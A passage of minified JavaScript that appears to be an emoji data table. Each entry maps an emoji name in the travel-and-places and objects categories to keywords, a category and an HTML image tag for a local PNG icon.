style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9c" src="1f69c.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},kick_scooter:{keywords:["vehicle","kick","razor"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef4" src="1f6f4.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},motorcycle:{keywords:["race","sports","fast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcd" src="1f3cd.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},bike:{keywords:["sports","bicycle","exercise","hipster"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb2" src="1f6b2.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},motor_scooter:{keywords:["vehicle","vespa","sasha"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef5" src="1f6f5.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},rotating_light:{keywords:["police","ambulance","911","emergency","alert","error","pinged","law","legal"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea8" src="1f6a8.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_police_car:{keywords:["vehicle","law","legal","enforcement","911"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude94" src="1f694.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_bus:{keywords:["vehicle","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8d" src="1f68d.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_automobile:{keywords:["car","vehicle","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude98" src="1f698.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_taxi:{keywords:["vehicle","cars","uber"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude96" src="1f696.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},aerial_tramway:{keywords:["transportation","vehicle","ski"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea1" src="1f6a1.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},mountain_cableway:{keywords:["transportation","vehicle","ski"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea0" src="1f6a0.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},suspension_railway:{keywords:["vehicle","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9f" src="1f69f.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},railway_car:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude83" src="1f683.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},train:{keywords:["transportation","vehicle","carriage","public","travel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8b" src="1f68b.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},monorail:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9d" src="1f69d.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},bullettrain_side:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude84" src="1f684.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},bullettrain_front:{keywords:["transportation","vehicle","speed","fast","public","travel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude85" src="1f685.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},light_rail:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude88" src="1f688.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},mountain_railway:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9e" src="1f69e.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},steam_locomotive:{keywords:["transportation","vehicle","train"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude82" src="1f682.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},train2:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude86" src="1f686.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},metro:{keywords:["transportation","blue-square","mrt","underground","tube"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude87" src="1f687.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},tram:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8a" src="1f68a.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},station:{keywords:["transportation","vehicle","public"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude89" src="1f689.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},flying_saucer:{keywords:["transportation","vehicle","ufo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef8" src="1f6f8.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},helicopter:{keywords:["transportation","vehicle","fly"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude81" src="1f681.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},small_airplane:{keywords:["flight","transportation","fly","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee9" src="1f6e9.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},airplane:{keywords:["vehicle","transportation","flight","fly"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2708\ufe0f" src="2708.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},flight_departure:{keywords:["airport","flight","landing"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeeb" src="1f6eb.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},flight_arrival:{keywords:["airport","flight","boarding"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeec" src="1f6ec.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},sailboat:{keywords:["ship","summer","transportation","water","sailing"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f5" src="26f5.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},motor_boat:{keywords:["ship"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee5" src="1f6e5.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},speedboat:{keywords:["ship","transportation","vehicle","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea4" src="1f6a4.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},ferry:{keywords:["boat","ship","yacht"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f4" src="26f4.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},passenger_ship:{keywords:["yacht","cruise","ferry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef3" src="1f6f3.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},rocket:{keywords:["launch","ship","staffmode","NASA","outer space","outer_space","fly"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude80" src="1f680.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},artificial_satellite:{keywords:["communication","gps","orbit","spaceflight","NASA","ISS"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef0" src="1f6f0.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},seat:{keywords:["sit","airplane","transport","bus","flight","fly"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcba" src="1f4ba.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},canoe:{keywords:["boat","paddle","water","ship"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef6" src="1f6f6.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},anchor:{keywords:["ship","ferry","sea","boat"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2693" src="2693.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},construction:{keywords:["wip","progress","caution","warning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea7" src="1f6a7.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},fuelpump:{keywords:["gas station","petroleum"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26fd" src="26fd.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},busstop:{keywords:["transportation","wait"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8f" src="1f68f.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},vertical_traffic_light:{keywords:["transportation","driving"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea6" src="1f6a6.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},traffic_light:{keywords:["transportation","signal"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea5" src="1f6a5.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},checkered_flag:{keywords:["contest","finishline","race","gokart"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc1" src="1f3c1.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},ship:{keywords:["transportation","titanic","deploy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea2" src="1f6a2.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},ferris_wheel:{keywords:["photo","carnival","londoneye"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa1" src="1f3a1.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},roller_coaster:{keywords:["carnival","playground","photo","fun"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa2" src="1f3a2.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},carousel_horse:{keywords:["photo","carnival"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa0" src="1f3a0.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},building_construction:{keywords:["wip","working","progress"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd7" src="1f3d7.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},foggy:{keywords:["photo","mountain"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf01" src="1f301.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},tokyo_tower:{keywords:["photo","japanese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfc" src="1f5fc.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},factory:{keywords:["building","industry","pollution","smoke"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfed" src="1f3ed.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},fountain:{keywords:["photo","summer","water","fresh"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f2" src="26f2.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},rice_scene:{keywords:["photo","japan","asia","tsukimi"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf91" src="1f391.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},mountain:{keywords:["photo","nature","environment"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f0" src="26f0.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},mountain_snow:{keywords:["photo","nature","environment","winter","cold"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd4" src="1f3d4.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},mount_fuji:{keywords:["photo","mountain","nature","japanese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfb" src="1f5fb.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},volcano:{keywords:["photo","nature","disaster"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0b" src="1f30b.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},japan:{keywords:["nation","country","japanese","asia"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfe" src="1f5fe.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},camping:{keywords:["photo","outdoors","tent"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd5" src="1f3d5.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},tent:{keywords:["photo","camping","outdoors"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26fa" src="26fa.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},national_park:{keywords:["photo","environment","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfde" src="1f3de.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},motorway:{keywords:["road","cupertino","interstate","highway"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee3" src="1f6e3.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},railway_track:{keywords:["train","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee4" src="1f6e4.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},sunrise:{keywords:["morning","view","vacation","photo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf05" src="1f305.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},sunrise_over_mountains:{keywords:["view","vacation","photo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf04" src="1f304.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},desert:{keywords:["photo","warm","saharah"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdc" src="1f3dc.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},beach_umbrella:{keywords:["weather","summer","sunny","sand","mojito"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd6" src="1f3d6.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},desert_island:{keywords:["photo","tropical","mojito"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdd" src="1f3dd.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},city_sunrise:{keywords:["photo","good morning","dawn"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf07" src="1f307.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},city_sunset:{keywords:["photo","evening","sky","buildings"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf06" src="1f306.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},cityscape:{keywords:["photo","night life","urban"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd9" src="1f3d9.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},night_with_stars:{keywords:["evening","city","downtown"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf03" src="1f303.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},bridge_at_night:{keywords:["photo","sanfrancisco"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf09" src="1f309.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},milky_way:{keywords:["photo","space","stars"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0c" src="1f30c.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},stars:{keywords:["night","photo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf20" src="1f320.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},sparkler:{keywords:["stars","night","shine"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf87" src="1f387.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},fireworks:{keywords:["photo","festival","carnival","congratulations"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf86" src="1f386.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},rainbow:{keywords:["nature","happy","unicorn_face","photo","sky","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf08" src="1f308.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},houses:{keywords:["buildings","photo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd8" src="1f3d8.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},european_castle:{keywords:["building","royalty","history"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff0" src="1f3f0.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},japanese_castle:{keywords:["photo","building"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfef" src="1f3ef.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},stadium:{keywords:["photo","place","sports","concert","venue"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdf" src="1f3df.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},statue_of_liberty:{keywords:["american","newyork"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfd" src="1f5fd.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},house:{keywords:["building","home"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe0" src="1f3e0.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},house_with_garden:{keywords:["home","plant","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe1" src="1f3e1.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},derelict_house:{keywords:["abandon","evict","broken","building"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfda" src="1f3da.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},office:{keywords:["building","bureau","work"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe2" src="1f3e2.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},department_store:{keywords:["building","shopping","mall"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfec" src="1f3ec.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},post_office:{keywords:["building","envelope","communication"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe3" src="1f3e3.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},european_post_office:{keywords:["building","email"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe4" src="1f3e4.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},hospital:{keywords:["building","health","surgery","doctor"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe5" src="1f3e5.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},bank:{keywords:["building","money","sales","cash","business","enterprise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe6" src="1f3e6.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},hotel:{keywords:["building","accomodation","checkin"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe8" src="1f3e8.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},convenience_store:{keywords:["building","shopping","groceries"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfea" src="1f3ea.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},school:{keywords:["building","student","education","learn","teach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfeb" src="1f3eb.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},love_hotel:{keywords:["like","affection","dating"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe9" src="1f3e9.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},wedding:{keywords:["love","like","affection","couple","marriage","bride","groom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc92" src="1f492.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},classical_building:{keywords:["art","culture","history"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdb" src="1f3db.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},church:{keywords:["building","religion","christ"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26ea" src="26ea.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},mosque:{keywords:["islam","worship","minaret"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4c" src="1f54c.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},synagogue:{keywords:["judaism","worship","temple","jewish"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4d" src="1f54d.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},kaaba:{keywords:["mecca","mosque","islam"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4b" src="1f54b.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},shinto_shrine:{keywords:["temple","japan","kyoto"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26e9" src="26e9.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},watch:{keywords:["time","accessories"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u231a" src="231a.png"/>',fitzpatrick_scale:!1,category:"objects"},iphone:{keywords:["technology","apple","gadgets","dial"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf1" src="1f4f1.png"/>',fitzpatrick_scale:!1,category:"objects"},calling:{keywords:["iphone","incoming"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf2" src="1f4f2.png"/>',fitzpatrick_scale:!1,category:"objects"},computer:{keywords:["technology","laptop","screen","display","monitor"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbb" src="1f4bb.png"/>',fitzpatrick_scale:!1,category:"objects"},keyboard:{keywords:["technology","computer","type","input","text"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2328" src="2328.png"/>',fitzpatrick_scale:!1,category:"objects"},desktop_computer:{keywords:["technology","computing","screen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udda5" src="1f5a5.png"/>',fitzpatrick_scale:!1,category:"objects"},printer:{keywords:["paper","ink"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udda8" src="1f5a8.png"/>',fitzpatrick_scale:!1,category:"objects"},computer_mouse:{keywords:["click"],char:'<img data-emoticon="true" 